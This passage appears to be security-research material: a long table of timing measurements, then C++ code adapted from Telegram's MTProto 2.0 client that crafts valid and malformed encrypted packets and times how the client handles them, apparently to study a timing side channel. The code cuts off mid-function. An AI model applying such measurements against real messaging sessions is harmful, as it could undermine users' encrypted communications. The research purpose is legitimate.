		30.7912530004978		35.1259929984808		31.769690990448		98.6106350421906

		32.3518260009587		38.1077120006084		33.3595340251923		101.425843000412

		33.0192740000784		38.2929730117321		22.3904190063477		99.3001660108566

		32.6301070004702		37.1665139943361		28.0444300174713		101.472769975662

		30.9152640029788		40.0516189932823		32.9091180562973		94.018238902092

		32.0695860013366		34.5843780040741		32.8575040102005		106.373396039009

		38.8576599992812		32.4629199951887		29.0075550079346		81.9307899475098

		32.2159930020571		32.0728159993887		28.3773459196091		96.8041250705719

		36.414482999593		43.1102650016546		27.7477110624313		100.090947031975

		32.0103159993887		35.2862010002136		33.8241709470749		95.056676030159

		33.3983360007405		36.7178160101175		36.8350039720535		99.481311917305

		29.9622429981828		38.1417739987373		31.2638050317764		93.3573530912399

		37.4113580025733		43.8295360058546		30.764377951622		95.6565190553665

		37.5984410010278		39.0174510031939		31.7878680229187		101.832196950912

		32.6612019985914		37.4325560033321		31.4877120256424		104.898811936378

		31.5053679980338		41.5405240058899		29.3839609622955		114.777458906174

		32.8992220014334		38.1457849889994		24.4082840681076		103.584697961807

		31.2123470008373		34.1777639985085		27.2537529468536		97.0652179718018

		34.8306289985776		45.7875049859285		33.7347949743271		100.684697985649

		33.9061489999294		44.8674000054598		32.6205759048462		98.0036560297012

		31.1172420009971		38.9494829922914		20.1405750513077		98.7946970462799

		38.6824520006776		33.7409930080175		33.0773990154266		101.979905962944

		33.5022429972887		36.6940139979124		31.0485969781876		108.604802012444

		34.4656809978187		41.2746389955282		32.2064620256424		98.8366249799728

		33.6933360025287		34.0545340031385		23.5491690635681		100.727146029472

		34.385316003114		42.0368790030479		32.5535970926285		93.7396969795227

		34.2127120010555		44.8116710036993		32.8955769538879		94.4920409917831

		30.9361490011215		46.2243280112743		31.1526600122452		97.973552107811

		33.1206279993057		43.0505769997835		32.6548990011215		107.53225004673

		31.0590659976006		48.5390670001507		29.4442209005356		103.487666964531

		33.6518790014088		42.7524520009756		30.8364609479904		96.6879260540009

		32.2314090020955		41.9472439885139		27.4253150224686		83.3579770326614

		34.040993001312		35.9516699910164		31.8163579702377		114.907510995865

		33.9273989982903		38.7965140044689		31.7793260812759		104.49865603447

		43.8459939993918		46.071932002902		36.2999000549316		117.384021997452

		30.9462010003626		47.6634420007467		32.4219299554825		101.644698023796

		30.4730239994824		37.2547959983349		31.3109409809113		100.160896062851

		31.0510450005531		45.824536010623		31.872346997261		108.28558409214

		29.8923989981413		39.5758890062571		30.5784410238266		109.665168046951

		31.4545350000262		42.6750569939613		32.9833890199661		96.2842810153961

		33.8568259999156		38.7198999971151		31.5106799602509		93.4756870269775

		34.9821910001337		34.8091700077057		30.7879719734192		123.564855933189

		35.1733889989555		43.6130769997835		37.5837539434433		98.9978749752045

		32.6077639982104		43.050420999527		32.2942739725113		109.436574101448

		33.3593779988587		38.4540139883757		31.1090129613876		92.3448529243469

		32.2713050022721		45.8904209882021		30.0428680181503		101.660843014717

		32.2246900014579		45.8277649879456		28.5932840108871		100.10829102993

		30.9881279990077		53.1772450059652		31.7951070070267		124.480325102806

		32.6810449995101		40.6565669924021		30.4076600074768		94.4348530769348

		38.8743790015578		42.1747959852219		31.2526589632034		96.520791053772

		32.0577109977603		51.5973490029573		32.532399058342		86.3820400238037

		33.7323470003903		41.752921000123		30.33937895298		84.0789140462875

		35.1825039982796		43.0238070040941		26.0681800842285		109.73516702652

		39.2742750011384		43.7341709882021		35.5431289672852		106.755688071251

		30.5694299973547		55.1460470110178		29.0230230093002		92.4093320369721

		33.9554719999433		52.2588070034981		33.9600040912628		99.0120930671692

		30.2542219981551		40.5902120023966		27.2830760478973		89.8497480154038

		32.5020339973271		42.2466710060835		23.4037519693375		110.957666993141

		32.4629720002413		42.0285979956388		31.3472419977188		117.80167889595

		33.3500550016761		40.9331810027361		30.9674509763718		93.2719359397888

		30.5553680025041		42.7021400034428		32.1413570642471		99.1229779720306

		32.1027109995484		44.895629003644		32.5619820356369		112.539126038551

		34.6610449999571		41.1564629971981		21.5380229949951		103.961833000183

		29.6820870004594		44.9688069969416		24.9291689395905		101.374333024025

		35.9492749981582		48.3970880061388		23.6575539112091		108.704907059669

		30.3233369998634		42.0192750096321		32.7867740392685		103.07678103447

		34.4825039990246		41.2594830095768		30.9450030326843		103.798655986786

		39.2451080009341		41.2944830060005		25.3029710054398		113.054542899132

		33.7586489990354		39.6446390002966		33.3196390867233		107.07672894001

		30.9540129974484		43.854640007019		32.7506279945374		116.991261959076

		35.9379200004041		51.4579219967127		33.9034930467606		115.453188061714

		39.9176080003381		43.7610459923744		31.8879200220108		78.5738620758057

		35.7417740002275		42.7084419876337		31.9929200410843		83.3216750621796

		31.6711489968002		44.0184940099716		33.7296909093857		102.773604035378

		34.3628159984946		50.1931300014257		30.934534072876		99.997249007225

		35.0412009991705		40.2926599979401		33.4173989295959		101.04579102993

		34.2352639995515		44.1507329940796		31.7093780040741		116.788658022881

		29.1187530010939		36.8862020075321		39.1999000310898		104.481937885284

		31.8575029969215		41.9988579899073		32.0118260383606		91.628968000412

		31.5167220011353		38.2228679955006		32.6982328891754		105.447926998138

		38.9402649998665		39.7330249994993		31.7304199934006		92.1817270517349

		33.9967229999602		48.7016189992428		20.6008349657059		97.0851140022278

		39.8821390010416		48.0456819981337		30.5817220211029		96.5432380437851

		35.0479720011353		48.1736509948969		31.3677639961243		99.7216249704361

		34.6723470017314		44.4317760020495		31.1623990535736		104.333709001541

		35.8427640013397		43.5140669941902		23.1577100753784		104.047978997231

		35.1643779985607		48.376984000206		27.649482011795		94.2856860160828

		33.7872429974377		40.715263992548		31.8626070022583		97.6862080097198

		33.181669998914		43.9848480075598		22.8068250417709		111.841468930244

		39.4881809987128		46.2482340037823		29.2716690301895		103.143344044685

		32.065316002816		44.5098999887705		30.8866180181503		94.2581859827042

		34.0096380002797		41.2459939867258		39.8033380508423		110.513916969299

		32.0450030006468		44.299380004406		31.5297429561615		101.34329199791

		34.7297949977219		46.6112549901009		32.9348989725113		97.6171970367432

		30.2312010005116		38.9745350033045		32.3716700077057		76.1469860076904

		31.4129719994962		39.6290140002966		23.4819289445877		100.035687088966

		33.4388570003212		44.3264629989862		28.9615660905838		105.526677012444

		31.1334929987788		40.4844830036163		32.7569299936295		121.163501977921

		30.7326599992812		39.1889619976282		32.1358879804611		99.414332985878

		31.4473990015686		53.4892240017653		29.8589090108871		110.145272016525

		30.1195859983563		41.5371919870377		31.8326590061188		92.9969890117645

		32.6133369989693		41.4726599901915		15.3968770503998		105.150115013123

		30.9862009994686		44.4263070076704		25.405366897583		102.004333019257

		35.42349300161		42.4317229986191		29.015888094902		84.0750600099564

		29.274117000401		38.2640659958124		30.8809930086136		109.586261034012

		35.1252120025456		43.0644310116768		29.9688060283661		106.78006196022

		35.0770349986851		41.2614620029926		31.5675550699234		92.3620920181275

		32.1043259985745		40.424899995327		30.9775550365448		89.042249083519

		30.6069299988449		44.7672969996929		25.3839091062546		109.940166950226

		32.1622429974377		41.4439630061388		32.2616699934006		103.643499970436

		33.6372430026531		71.2674029916525		29.8442219495773		100.891312003136

		34.7885450012982		42.4752639979124		31.7954720258713		110.773656964302

		31.3733889982104		38.6263059973717		36.1810970306396		98.9620929956436

		30.6730760000646		42.9750040024519		29.9152630567551		97.7233430147171

		32.651981998235		44.9682330042124		35.9016699790955		116.545897006989

		33.2925029993057		44.197557002306		28.3359409570694		95.0442279577255

		33.7048479989171		42.2950039952993		35.3147959709167		99.0338640213013

		27.5290130004287		44.2406809926033		28.8016179800034		108.482354998589

		39.0768269971013		41.1160979866982		29.9005759954453		95.1881870031357

		33.3574520014226		41.4618790000677		32.2517219781876		89.034539937973

		29.3051589988172		43.3980249911547		31.4667739868164		98.0032390356064

		31.9975559972227		44.4631810039282		32.6595870256424		99.7087080478668

		38.5926609970629		47.7720879912376		33.9435969591141		93.6086030006409

		33.5669820010662		41.5987549871206		23.3126590251923		103.131625056267

		32.0747429989278		42.2738589942455		31.0221910476685		97.6144889593124

		31.2569309994578		42.425420999527		33.3751080036163		105.65813601017

		31.3459400013089		44.218181014061		30.2708879709244		93.7729780673981

		33.2852630019188		46.0819830000401		29.9160970449448		96.8215199708939

		33.2527640014887		41.6588580012322		26.8986489772797		95.6776130199432

		39.0746919997036		42.6231810003519		31.4198459386826		98.0432389974594

		32.8660970032215		48.9299530088902		38.6722429990768		101.851936936378

		31.2055239975452		51.620890006423		30.849377989769		87.6158939599991

		32.1535449996591		37.9388059973717		33.1668790578842		102.964802026749

		35.9367749989033		44.0854210108519		24.8183870315552		96.1162600517273

		39.3596909977496		45.953754991293		29.1234400272369		107.265009999275

		33.9718260020018		45.0244310051203		18.6983880996704		101.188863992691

		34.4387010000646		47.5226610004902		34.8625559806824		102.727458000183

		34.9421390034258		52.7901619970799		31.9379719495773		94.390478014946

		33.2953670024872		43.978807002306		31.3871899843216		110.507407069206

		34.9081799983978		40.774170011282		25.8802109956741		98.6381869316101

		30.3501070030034		41.5160979926586		24.5012520551681		108.972615003586

		32.5929719991982		43.4214629977942		35.3140139579773		105.323292016983

		31.38416999951		38.9896910041571		32.6456799507141		126.062772989273

		32.8334929980338		42.1351079940796		32.9702640771866		109.479645967484

		35.5893779993057		39.6504729986191		29.3285969495773		93.3553739786148

		31.7213049978018		39.2656809985638		31.2887530326843		94.4214680194855

		31.3254199996591		48.0608379989863		33.2508889436722		97.5073020458222

		34.0359410010278		46.6771919876337		31.4113049507141		107.756624937057

		31.2264100015163		42.6640139967203		31.4477109909058		97.1337599754333

		33.6326070018113		42.5208889991045		39.0929729938507		102.455844044685

		35.0289090014994		51.6102139949799		33.1121900081635		73.7408400774002

		34.2454720027745		48.3267759978771		30.8262010812759		100.923656105995

		33.3803680017591		45.7121400088072		26.800106048584		111.183604955673

		32.6130240000784		48.5354740023613		36.1477640867233		89.0001660585403

		31.0971900001168		49.5679740011692		30.5545339584351		94.8301140069962

		39.6690669991076		45.6262550055981		30.9360959529877		108.291677951813

		39.4758379980922		43.9920350015163		31.1839610338211		73.4328199625015

		39.0858379974961		42.4415149986744		31.6070870161057		102.973917007446

		33.0087540000677		46.1111509948969		24.418231010437		94.3065720796585

		32.6671909987926		46.3570879995823		22.9995340108871		100.020061969757

		28.0802109986544		43.276826992631		31.8041698932648		105.485999941826

		40.1818789988756		43.333232998848		30.0274510383606		103.299697995186

		39.217243000865		44.5491710007191		31.3220870494843		106.126103997231

		36.2890660017729		43.042765006423		31.5496389865875		99.0594370365143

		31.3886490017176		39.855369001627		31.9053159952164		129.984961032867

		32.4379200004041		43.8259420096874		32.3604201078415		98.3432379961014

		28.0679189972579		39.7812019884586		31.3140139579773		49.2416719198227

		32.0942220017314		42.1625040024519		29.6096379756927		55.8106310367584

		32.1340139992535		38.927294999361		25.5367729663849		57.9243290424347

		31.6397419981658		43.2213059961796		32.0973989963531		51.5569840669632

		33.2335969991982		44.2199530005455		29.3765659332275		50.3274010419846

		29.9721910022199		48.6138070076704		22.1039599180222		57.3536520004272

		34.1456799991429		40.7752120047808		33.8354200124741		58.8535470962524

		32.9943259991705		45.3837029933929		24.8424500226974		51.246307015419

		28.2544820010662		41.2125560045242		32.5148990154266		52.5132859945297

		30.4885450005531		42.2852649986744		32.6054199934006		52.024847984314

		37.9697960019112		39.260576993227		26.3034400939941		55.2332869768143

		32.0083369985223		46.4172960072756		33.3018779754639		56.4979230165482

		32.9209930002689		43.8355769962072		32.1241699457169		50.3108390569687

		34.0277639999986		48.2878689914942		32.3778669834137		54.0164639949799

		32.4789090007544		45.3987549990416		29.8791170120239		53.4308389425278

		32.4105760008097		45.2887540012598		39.1084409952164		59.1606829166412

		32.4993260018527		40.4968789964914		25.7732840776443		50.2989630699158

		31.8564609996974		45.3622969985008		32.4002629518509		107.016834020615

		35.0905239991844		45.382452994585		31.9845870733261		102.587769985199

		32.403232999146		43.7384419888258		31.9148989915848		107.643499970436

		30.5902110002935		36.4853159934282		29.2800030708313		100.948812007904

		30.9125549979508		42.376462996006		23.1017729043961		101.114333033562

		33.3239610008895		41.7779729962349		17.2662000656128		103.869228959084

		39.0902639999986		44.7175039947033		24.3632320165634		103.883083105087

		30.2470870018005		40.0089100003243		31.9083889722824		51.5250580310822

		32.7569820024073		41.3027650117874		29.3110449314117		103.358865022659

		30.1427119970322		48.1279740035534		34.7421389818192		99.16745698452

		29.8390140011907		45.0802130103111		25.7663559913635		95.4571449756622

		37.9277639985085		47.4750570058823		26.3346379995346		101.670166015625

		31.3304200023413		40.4869309961796		30.8117220401764		104.954854011536

		27.931043997407		42.6139629930258		22.6393249034882		121.177564024925

		33.1450549997389		38.4897429943085		36.0597430467606		95.5904259681702

		30.6319820024073		43.1105770021677		31.6737020015717		98.1271450519562

		26.2289609983563		41.0895349979401		31.6534399986267		107.680531978607

		32.2308360002935		38.8086500018835		30.6762009859085		102.833292007446

		32.5832850001752		45.6238579899073		31.7043260335922		95.0321969985962

		33.3223989978433		40.8868269920349		33.4833890199661		95.9452700614929

		38.4736489988863		45.3117749989033		29.9108890295029		110.920271992683

		32.4602119997144		42.3371389955282		30.4927110671997		100.968655943871

		37.5236500017345		44.5476610064507		33.0884410142899		101.386832952499

		35.4334409981966		40.4119309931994		31.4810969829559		95.4720410108566

		33.3204719983041		37.5592219978571		28.8590660095215		110.805843949318

		32.9964610002935		45.2641720026732		30.2597420215607		96.6891239881516

		38.8443269990385		41.7281810045242		31.4626590013504		93.1318320035934

		31.182555001229		44.5374519973993		32.2782839536667		104.306780934334

		37.4518270008266		46.4746920019388		30.3897430896759		97.138237953186

		34.8274509981275		49.4511509984732		30.0982840061188		115.271260976791

		32.0720340013504		43.9784409999847		30.4591699838638		96.4989680051804

		33.3749000020325		51.7349530011416		37.2884930372238		79.1448000669479

		33.0742750018835		45.8664110004902		32.6856800317764		80.2545390129089

		27.932555001229		41.6858900040388		31.5843260288239		97.8517290353775

		35.7034929990768		48.3255259990692		31.0082319974899		99.3223019838333

		30.425003003329		44.8082849979401		33.7606279850006		102.428447961807

		29.6648469977081		42.1714099943638		19.2247939109802		106.059126019478

		31.2193780019879		42.0605250000954		31.8753679990768		92.3207900524139

		35.1855239979923		40.9166710078716		20.6547939777374		95.367977976799

		30.94666999951		44.7598479986191		32.4138060808182		103.257926940918

		27.0354190021753		50.1947969943285		21.2807840108871		99.421364068985

		33.4772430025041		45.4677129983902		32.8116700649261		103.765792012215

		26.7385959997773		44.8756820112467		32.6555240154266		94.0852180719376

		37.6816179975867		40.9113060086966		31.7700029611588		82.5417790412903

		35.3427640013397		45.0897959917784		32.4082839488983		98.5537600517273

		26.7847950011492		44.196202993393		29.473857998848		97.7460519075394

		30.6298990026116		41.1500560045242		23.4938560724258		101.034124016762

		33.0154720023274		45.9351599961519		32.7593779563904		118.952095031738

		32.0903679989278		52.4814109951258		28.9806280136108		96.0878739356995

		28.8935969993472		43.3762020021677		31.3721389770508		97.7415729761124

		33.3347949981689		41.1041190028191		32.785523891449		100.084592938423

		35.7876599989831		53.3805779963732		30.1096390485764		105.301521062851

		31.781305000186		44.6756819933653		31.6795339584351		92.0487070083618

		31.6642209999263		51.5022439956665		23.3820849657059		100.877249956131

		33.9009409993887		50.3881819993258		27.613804936409		75.7720910310745

		29.082867000252		42.2008890062571		30.811252951622		99.9102709293365

		32.3900549970567		43.877399995923		22.6767730712891		82.508759021759

		35.8844300024211		41.9926079958677		31.1484919786453		95.7745929956436

		35.0604720003903		47.3247440010309		31.5502119064331		104.088343977928

		33.5025030001998		41.38411898911		32.7618260383606		98.1983429193497

		30.7667739987373		42.5437550097704		32.9452120065689		81.5686019659042

		32.9117220006883		40.6841180026531		29.4114090204239		104.298292040825

		30.7703149989247		49.0455780029297		34.0364099740982		102.291832923889

		34.5204199999571		40.6545879989862		31.5790140628815		94.8851659297943

		37.8804209977388		42.903181001544		33.007138967514		117.548084020615

		32.4285449981689		41.8769320100546		31.3804720640182		102.519489049912

		30.3518260009587		38.4455250054598		31.4454710483551		92.248498916626

		33.9404200017452		44.2554209977388		23.8715649843216		96.4830830097199

		34.6762019991875		45.440942004323		32.0716179609299		94.2504259347916

		31.30380500108		39.558909997344		30.7841689586639		98.7111560106277

		33.0687009990215		40.9161500036717		30.4376599788666		92.9911029338837

		38.9024000018835		41.4170349985361		29.0804710388184		94.0126650333405

		30.9720869995654		45.7888589948416		31.125470995903		111.576938033104

		30.2457850016654		43.2156300097704		38.8183369636536		82.9924559593201

		32.2149510011077		38.32443100214		31.930575966835		103.460896015167

		35.912243001163		41.5612539947033		30.4637529850006		105.957302093506

		33.1730250008404		41.7226089984179		27.8772429227829		101.306885004044

		32.2956280000508		49.561879992485		32.3396910429001		87.9634989500046

		31.8263050019741		42.1385460048914		31.0475039482117		110.442562937737

		30.4996909983456		47.6938589960337		32.4095870256424		104.210896015167

		34.9370869994164		44.4284419864416		32.6789089441299		91.2601130008698

		33.0698990002274		44.6237020045519		35.2753680944443		107.494647026062

		33.0800549983978		40.4129730015993		32.0365660190582		89.3343839645386

		32.341669999063		42.8184420019388		27.6310970783234		102.808499932289

		33.720941003412		44.6239629983902		33.731721997261		100.23537504673

		33.6892740018666		41.1922959983349		28.7343779802322		102.877406001091

		31.0020349994302		44.6638070046902		33.1239091157913		100.921000003815

		32.2362530007958		38.7324520051479		26.9427109956741		116.320168018341

		39.7451599985361		40.8772950023413		37.0741699934006		98.9003740549088

		30.9911480024457		49.0219319909811		30.8453680276871		96.160581946373

		30.9820870012045		44.3795360028744		25.4471380710602		99.1996970176697

		35.4221909977496		41.1762019991875		32.095106959343		111.20506298542

		34.941305000335		51.344379991293		36.5401079654694		87.015998005867

		32.1670349985361		38.3951600044966		31.6295340061188		97.3033430576325

		32.3279719986022		43.2867230027914		29.7939620018005		95.0926140546799

		35.3600040003657		42.9324010014534		31.8523989915848		95.7222490310669

		31.3144820034504		44.8072440028191		27.0342209339142		107.342978954315

		35.2213050015271		38.3466700017452		23.0565650463104		94.9771970510483

		32.4790649972856		42.1141709983349		38.2689099311829		91.0002700090408

		31.3554720021784		39.1131290048361		31.3512530326843		98.5278749465942

		31.2385969981551		44.6254209876061				103.688343048096

		29.5360440015793		41.6577650010586				100.849488973618

		35.0402119979262		43.3530250042677				99.2040200233459

		25.5498979985714		50.8396410048008				69.6771430969238

		35.3600040003657		41.870576992631				65.6149020195007

		35.0589100010693		51.8419319987297				74.629695057869

		34.0352119989693		42.8998479992151				91.1766239404678

		34.7592750005424		44.1517750024796				94.6391760110855

		33.0322949998081		43.5329210013151				67.9451109170914

		31.7022419981658		45.3971399962902				110.815845012665

		37.8286500014365		41.9170870035887				76.8791220188141

		29.4189100004733		40.7663059979677				109.362771034241

		36.1375559978187		44.268546000123				100.66839492321

		31.467243000865		42.0919310003519				79.281986951828

		39.4731290005147		43.8168789893389				94.6654258966446

		30.5787010006607		44.7012019902468				108.533553004265

		31.3678160011768		48.1640679985285				65.9817779064178

		39.8948999978602		43.3869840055704				77.9096429347992

		39.055732998997		40.9484409987927				91.1967270374298

		31.9120340012014		40.1113070100546				101.380061984062

		29.8599510006607		42.9288579970598				103.969957947731

		32.016306001693		46.0278690010309				104.757822990417

		32.9990659989417		41.8716180026531				108.910843968391

		32.8927110023797		38.5087540000677				98.5938110351563

		30.5450550019741		43.8600569963455				103.009541988373

		32.1097430028021		43.2343270033598				108.987614989281

		30.6967739984393		43.3139110058546				96.0442799329758

		25.2847429998219		45.261515006423				79.3940179347992

		32.5245339982212		51.1427650004625				80.3157889842987

		39.9666710011661		44.6380259990692				88.2779780626297

		26.9068769998848		43.0976089984179				99.9626669883728

		35.1292219981551		46.3773489892483				95.3081340789795

		38.9362530000508		50.914223998785				109.064697980881

		31.4192739985883		39.9926609992981				107.700219035149

		35.2499519996345		41.0717750042677				99.8587599992752

		36.5488580018282		38.7304730117321				95.2181869745255

		39.7102640010417		45.0120880007744				127.38230407238

				44.6839109957218				109.351521968842

				40.5797439962626				99.1165200471878

				43.3559940010309				105.214594006538

				43.5570870041847				87.4646960496903

				39.1345349997282				95.2195410728455

				39.4756810069084				99.1575100421906

				43.4539100080729				95.6600610017776

				42.9499000012875				98.7870930433273

				43.4998999983072				103.886415958405

				42.7100569903851				95.1810510158539

				50.5318800061941				112.318135976791

				40.5961500108242				111.092563033104

				42.1294839978218				95.700374007225

				43.5157849937677				93.8145920038223

				44.6879210025072				93.765478014946

				27.4746900051832				82.7600599527359

				42.6556809991598				95.8677699565888

				42.516566991806				109.959959030151

				49.8263590037823				104.165843009949

				40.0144309997559				97.2279790639877

				43.8206290006638				83.7179250717163

				44.0645360052586				125.512096047401

				45.0970360040665				96.8614150285721

				50.8192239999771				99.9650620222092

				40.0071390122175				103.078135967255

				40.6132860034704				116.356052994728

				43.9841189980507				94.6830821037293

				46.0637550055981				114.790479898453

				51.4383389949799				97.4333430528641

				38.1587010025978				91.6923010349274

				50.059015005827				103.01537501812

				43.1051609963179				100.215062975883

				41.1171400099993				96.7496449947357

				50.7471919953823				97.6179260015488

				45.1460980027914				120.8598549366

				41.2885970026255				92.3799049854279

				48.8975570052862				94.4376649856567

				42.0651609897614				98.1205298900604

				40.1770359873772				115.504908084869

				44.2067230045795				105.18599998951

				44.9208379983902				98.9648010730743

				39.8349000066519				101.585583090782

				50.594172000885				

				40.2777130007744				

				43.3569319993258				

				44.1984419971705				

				40.4844840019941				

				41.5497440099716				

				39.8327649980783				

				49.9581300020218				

				40.6850039958954				

				36.9391710013151				

				44.0426609963179				

				40.3474519997835				

				39.5971390008926				

				41.3194310069084				

				40.4595879912376				

				44.1967760026455				

				43.3129210025072				

				43.7388059943914				

				46.041930988431				

				41.1825560033321				

				40.7453170120716				

				36.1848990023136				

				44.659171000123				

				44.3923480063677				

				42.6349519938231				

				39.2761500030756				

				44.325681000948				

				45.4353169947863				

				41.20750400424				

				47.8542750030756				

				44.6047959923744				

				48.3714630007744				

				43.0370349884033				

				44.2890670001507				

				41.8396919965744				

				42.6329730004072				

				45.7524520009756				

				45.566149994731				

				41.05125400424				

				44.0862549990416				

				43.9993270039558				

				50.681932002306				

				52.6873490065336				

				37.9780239909887				

				41.8801610022783				

				26.9823980033398				

				42.1050049960613				

				45.182869002223				

				44.9098480045795				

				48.1816190034151				

				46.7431300133467				

				46.2601079940796				

				43.9231289923191				

				47.5634420067072				

				42.9537030011416				

				44.3917239904404				

				40.4940659999847				

				40.895107999444				

				40.1794829964638				

				42.5101080089808				

				40.8688060045242				

				39.5501610040665				

				43.8423479944468				

				45.6268270015717				

				44.1955770105124				

				43.220109000802				

				43.5239109992981				

				47.7803689986467				

				51.5987550020218				

				43.3480769991875				

				39.3096910119057				

				42.1242749989033				

				49.499588996172				

				44.2435459941626				

				47.2582859992981				

				43.1377130001783				

				42.4806299954653				

				39.8719830065966				

				41.2092219889164				

				41.2905769944191				

				45.398077994585				

				40.5184409916401				

				42.619847998023				

				40.0883890092373				

				50.5854739993811				

				44.0612019896507				

				41.7599519938231				

				41.1149519979954				

				46.1605769991875				

				40.8113580048084				

				43.6020359992981				

				44.3687549978495				

				42.8134420067072				

				38.7879720032215				

				44.5054209977388				

				52.5281819999218				

				46.5627129971981				

				44.5216709971428				

				55.6352650076151				

				40.2176080048084				

				42.6747440099716				

				45.7172439992428				

				41.0585450083017				

				50.116308003664				

				41.9174000024796				

				42.4928169995546				




//
//  experiment.h
//  not part of Telegram codebase
//

#ifndef experiment_h
#define experiment_h

void writeToFile(char* createTime, char* msg);
void setNumTrials(int numTrials);
void setMsgLength(int msgLength);
void setSamePacket(bool samePacket);
void setRunOnInit(bool runOnInit);
void setCpucycles(bool setCpucycles);
int getNumTrials();
int getMsgLength();
bool getSamePacket();
bool getRunOnInit();
bool getCpucycles();
std::string doExperiment();

namespace MTP {
namespace details {

void generateEncryptionKey();
bytes::span preparePlaintext(bool valid, uint32_t length);
mtpBuffer preparePacket(bool valid, uint32_t length, bytes::span plaintext);
mtpBuffer preparePacket(bool valid, uint32_t length);
void handlePacket(mtpBuffer buffer);

}}

#endif /* experiment_h */




experiment.cpp
//

//  experiment.cpp

//  not part of Telegram codebase

//



#include "experiment.h"



#include <chrono>

#include "base/bytes.h"

#include <openssl/rand.h>

#include <iostream>

#include <fstream>

#include "cpucycles.h"



#include "mtproto/session_private.h"

#include "mtproto/details/mtproto_bound_key_creator.h"

#include "mtproto/details/mtproto_dcenter.h"

#include "mtproto/details/mtproto_dump_to_text.h"

#include "mtproto/details/mtproto_rsa_public_key.h"

#include "mtproto/session.h"

#include "mtproto/mtproto_rpc_sender.h"

#include "mtproto/mtproto_dc_options.h"

#include "mtproto/connection_abstract.h"

#include "base/openssl_help.h"

#include "base/qthelp_url.h"

#include "base/unixtime.h"

#include "zlib.h"



int _numTrials = 10000;

int _msgLength = 1024;

bool _samePacket = true;

bool _runOnInit = false;

bool _cpucycles = false;



namespace MTP {

namespace details {



constexpr auto kMaxMessageLength = 16 * 1024 * 1024;

constexpr auto kIntSize = static_cast<int>(sizeof(mtpPrime));

AuthKeyPtr _encryptionKey;

MTP::AuthKey::Data _authKey;

uint64 _keyId;

ConnectionPointer _connection;



// adapted from DcKeyCreator::dhClientParamsSend

/* generate random authKey and set corresponding encryption key and id */

void generateEncryptionKey() {

    auto key = bytes::vector(256);

    bytes::set_random(key);

    AuthKey::FillData(_authKey, bytes::make_span(key));

    _encryptionKey = std::make_shared<AuthKey>(_authKey);

    _keyId = _encryptionKey->keyId();

}



// plain copy of SessionPrivate::ConstTimeIsDifferent

/* used for SHA checks */

[[nodiscard]] bool ConstTimeIsDifferent(

        const void *a,

        const void *b,

        size_t size) {

    auto ca = reinterpret_cast<const char*>(a);

    auto cb = reinterpret_cast<const char*>(b);

    volatile auto different = false;

    for (const auto ce = ca + size; ca != ce; ++ca, ++cb) {

        different = different | (*ca != *cb);

    }

    return different;

}



// copy from SerializedRequest, only MTProto version 2.0 and version 0 of transport protocol

/* generate padding size in units (1U = 4B) */

uint32 CountPaddingPrimesCount(uint32 requestSize) {

    auto result = ((8 + requestSize) & 0x03)

        ? (4 - ((8 + requestSize) & 0x03))

        : 0;



    // At least 12 bytes of random padding.

    if (result < 3) {

        result += 4;

    }



    return result;

}



// next 3 methods adapted from SessionPrivate::sendSecureRequest, only MTProto version 2.0



/* helper method to generate random plaintext w/ padding */

bytes::span preparePlaintext(uint32_t msgLength) {

    Expects(msgLength >= 4 && msgLength % 4 == 0);

    

    auto padLength = CountPaddingPrimesCount(msgLength/4) * 4;

    // 24B external header = 8B auth_key_id + 16B msg_key

    // 32B internal header = 8B salt + 8B session_id + 8B msg_id + 4B seq_no + 4B msg_length

    auto length = 24 + 32 + msgLength + padLength;

    //LOG(("Generated msgLength = %1, padLength = %2, length = %3.").arg(msgLength).arg(padLength).arg(length));

    

    // random plaintext = internal header + message + padding

    auto plaintext = bytes::vector(32 + msgLength + padLength);

    bytes::set_random(plaintext);

    return plaintext;

}



/* helper method to prepare packet from given plaintext

   msgLength field will be overriden according to valid value */

mtpBuffer preparePacket(bool valid, uint32_t msgLength, bytes::span plaintext) {

    int plaintextLength = plaintext.size();

    Expects(plaintextLength >= 48 && plaintextLength % 16 == 0);



    // msg_key = SHA-256(auth_key[96:128] || message)[8:24]

    

    uchar encryptedSHA256[32];

    MTPint128 &msgKey(*(MTPint128*)(encryptedSHA256 + 8));

    

    SHA256_CTX msgKeyLargeContext;

    SHA256_Init(&msgKeyLargeContext);

    SHA256_Update(&msgKeyLargeContext, _encryptionKey->partForMsgKey(false), 32);  // encrypt to self

    SHA256_Update(&msgKeyLargeContext, plaintext.data(), plaintext.size());

    SHA256_Final(encryptedSHA256, &msgKeyLargeContext);

    

    if (!valid) {

        msgLength = kMaxMessageLength + 1;  // over the limit

    }

    memcpy(plaintext.data() + 28, &msgLength, 4);



    auto fullSize = plaintext.size() / sizeof(mtpPrime);  // should equal length/4 - 6

    auto packet = _connection->prepareSecurePacket(_encryptionKey->keyId(), msgKey, fullSize);

    const auto prefix = packet.size();  // 8 due to tcp prefix and resizing

    packet.resize(prefix + fullSize);



    // adapted from aesIgeEncrypt(plaintext.data(), &packet[prefix], fullSize * sizeof(mtpPrime), _encryptionKey, msgKey) call

    MTPint256 aesKey, aesIV;

    _encryptionKey->prepareAES(msgKey, aesKey, aesIV, false);  // encrypt to self

    aesIgeEncryptRaw(plaintext.data(), &packet[prefix], fullSize * sizeof(mtpPrime),

                     static_cast<const void*>(&aesKey), static_cast<const void*>(&aesIV));

    

    return packet;

}



/* generate packet with given msgLength (w/o TCP prefix) that can be processed client-side

   2 cases to distinguish:

   valid = msgLength check passes but SHA check fails

   !valid = msgLength check doesn't pass */

mtpBuffer preparePacket(bool valid, uint32_t msgLength) {

    return preparePacket(valid, msgLength, preparePlaintext(msgLength));

}



// copy of SessionPrivate::handleReceived, only MTProto version 2.0, network connection calls commented out

/* process received packet */

void handlePacket(mtpBuffer intsBuffer) {

    Expects(_encryptionKey != nullptr);

    

    /* network connection management */

    //onReceivedSome();

    

    /* assume packets come in one by one (usually the case) */

    //while (!_connection->received().empty()) {

    //    auto intsBuffer = std::move(_connection->received().front());

    //    _connection->received().pop_front();



    constexpr auto kExternalHeaderIntsCount = 6U; // 2 auth_key_id, 4 msg_key

    constexpr auto kEncryptedHeaderIntsCount = 8U; // 2 salt, 2 session, 2 msg_id, 1 seq_no, 1 length

    constexpr auto kMinimalEncryptedIntsCount = kEncryptedHeaderIntsCount + 4U; // + 1 data + 3 padding

    constexpr auto kMinimalIntsCount = kExternalHeaderIntsCount + kMinimalEncryptedIntsCount;

    auto intsCount = uint32(intsBuffer.size());

    auto ints = intsBuffer.constData();

    if ((intsCount < kMinimalIntsCount) || (intsCount > kMaxMessageLength / kIntSize)) {

        LOG(("TCP Error: bad message received, len %1").arg(intsCount * kIntSize));

